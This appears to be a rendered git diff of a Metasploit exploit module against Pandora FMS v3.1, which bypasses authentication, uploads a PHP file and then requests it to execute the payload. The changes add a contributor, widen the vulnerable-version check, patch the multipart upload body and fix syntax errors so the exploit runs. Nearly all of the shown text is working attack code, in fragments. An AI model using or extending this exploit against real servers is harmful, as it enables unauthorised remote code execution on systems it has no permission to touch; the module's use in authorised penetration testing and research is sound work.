@@ -26,12 +26,13 @@ def initialize(info={})
26
26
'License' => MSF_LICENSE ,
27
27
'Author' =>
28
28
[
29
- 'Juan Galiana Lara' , # Vulnerability discovery
30
- 'Raymond Nunez <rcnunez[at]upd.edu.ph>' , # Metasploit module
31
- 'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>' , # Metasploit module
32
- '_flood <freshbones[at]gmail.com>' , # Metasploit module
33
- 'mubix <mubix[at]room362.com>' , # Auth bypass and file upload
34
- 'egypt <egypt[at]metasploit.com>' , # Auth bypass and file upload
29
+ 'Juan Galiana Lara' , # Vulnerability discovery
30
+ 'Raymond Nunez <rcnunez[at]upd.edu.ph>' , # Metasploit module
31
+ 'Elizabeth Loyola <ecloyola[at]upd.edu.ph>' , # Metasploit module
32
+ 'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>' , # Metasploit module
33
+ '_flood <freshbones[at]gmail.com>' , # Metasploit module
34
+ 'mubix <mubix[at]room362.com>' , # Auth bypass and file upload
35
+ 'egypt <egypt[at]metasploit.com>' , # Auth bypass and file upload
35
36
] ,
36
37
'References' =>
37
38
[
@@ -66,7 +67,8 @@ def check
66
67
'uri' => normalize_uri ( base , 'index.php' )
67
68
} )
68
69
if res and res . code == 200
69
- if res . body . include? ( "v3.1 Build PC100609" )
70
+ #Tested on v3.1 Build PC100609 and PC100608
71
+ if res . body . include? ( "v3.1 Build PC10060" )
70
72
return Exploit ::CheckCode ::Vulnerable
71
73
elsif res . body . include? ( "Pandora" )
72
74
return Exploit ::CheckCode ::Detected
@@ -90,6 +92,7 @@ def upload(base, file, cookies)
90
92
data . add_part ( "images" , nil , nil , 'form-data; name="directory"' )
91
93
data . add_part ( "1" , nil , nil , 'form-data; name="upload_file"' )
92
94
data_post = data . to_s
95
+ data_post = data_post . gsub ( /^\r \n \- \- \_ Part\_ / , '--_Part_' )
93
96
94
97
res = send_request_cgi ( {
95
98
'method' => 'POST' ,
@@ -103,7 +106,7 @@ def upload(base, file, cookies)
103
106
'data' => data_post
104
107
} )
105
108
106
- register_files_for cleanup ( @fname )
109
+ register_files_for_cleanup ( @fname )
107
110
return res
108
111
109
112
rescue ::URI ::InvalidURIError
@@ -115,7 +118,7 @@ def upload(base, file, cookies)
115
118
def exploit
116
119
117
120
base = target_uri . path
118
- @fname = "#{ rand_text_numeric ( 7 ) } .php" )
121
+ @fname = "#{ rand_text_numeric ( 7 ) } .php"
119
122
cookies = ""
120
123
121
124
# bypass authentication and get session cookie
@@ -156,7 +159,7 @@ def exploit
156
159
end
157
160
158
161
# retrieve and execute PHP payload
159
- print_status ( "#{ @peer } - Executing payload (images/#{ @fname } " )
162
+ print_status ( "#{ @peer } - Executing payload (images/#{ @fname } ) " )
160
163
begin
161
164
res = send_request_cgi ( {
162
165
'method' => 'GET' ,
0 commit comments